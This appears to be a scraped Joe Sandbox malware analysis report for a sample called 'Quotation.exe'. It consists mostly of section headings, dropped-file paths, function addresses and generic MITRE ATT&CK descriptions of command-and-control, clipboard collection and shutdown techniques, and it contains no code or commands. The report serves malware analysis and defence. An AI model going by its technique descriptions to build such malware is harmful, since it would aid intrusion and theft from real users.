Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Temp\nss46CE.tmp\System.dll

C:\Users\user\Music\antithetic.ini

C:\Users\user\overlays\besvangredes\Emmens.udk

C:\Users\user\overlays\besvangredes\Proprietrer.bet

C:\Users\user\overlays\besvangredes\Trikstanks.pra

C:\Users\user\overlays\besvangredes\Unprotectively.Fry

C:\Users\user\overlays\besvangredes\Yoky92.For

C:\Users\user\overlays\besvangredes\boyaus.rom

C:\Users\user\overlays\besvangredes\gear.dra

C:\Users\user\overlays\besvangredes\jagtfalk.ill

C:\Users\user\overlays\besvangredes\regill.ful

C:\Users\user\overlays\besvangredes\sortlistningens.txt

Static File Info

General

File Icon

Windows Analysis Report
Quotation.exe

Function 004036DA Relevance: 84.4, APIs: 32, Strings: 16, Instructions: 416
stringfilecomCOMMON

Function 004066F7 Relevance: 14.2, APIs: 7, Strings: 1, Instructions: 155
filestringCOMMON

Function 00404F70 Relevance: 63.4, APIs: 35, Strings: 1, Instructions: 374
windowstringCOMMON

Function 00405A1C Relevance: 45.7, APIs: 13, Strings: 13, Instructions: 225
stringregistryCOMMON

Function 0040154A Relevance: 35.4, APIs: 17, Strings: 3, Instructions: 441
stringtimesleepCOMMON

Function 004033CB Relevance: 21.2, APIs: 5, Strings: 7, Instructions: 178
memoryCOMMON

Function 00405E98 Relevance: 19.5, APIs: 7, Strings: 4, Instructions: 209
stringCOMMON

Function 00405D18 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 76
stringwindowCOMMON

Function 00403148 Relevance: 10.7, APIs: 4, Strings: 2, Instructions: 162
COMMON

Function 0040617C Relevance: 10.5, APIs: 3, Strings: 3, Instructions: 36
libraryCOMMON

Function 00406A34 Relevance: 10.5, APIs: 2, Strings: 4, Instructions: 35
COMMON

Function 004068C4 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 18
libraryloaderCOMMON

Function 00405E1C Relevance: 6.0, APIs: 4, Instructions: 37
COMMON

Function 00406955 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 47
registryCOMMON

Function 00405DFC Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 12
COMMON

Description:	Adversaries may collect data stored in the clipboard from users copying information within or between applications.
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may shutdown/reboot systems to interrupt access to, or aid in the destruction of, those systems. Operating systems may contain commands to initiate a shutdown/reboot of a machine or network device. In some cases, these commands may also be used to initiate a shutdown/reboot of a remote computer or network device via Network Device CLI (e.g. `reload` ).
Tactics:	Impact
Data Sources:	Command: Command Execution, Process: Process Creation, Sensor Health: Host Status
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre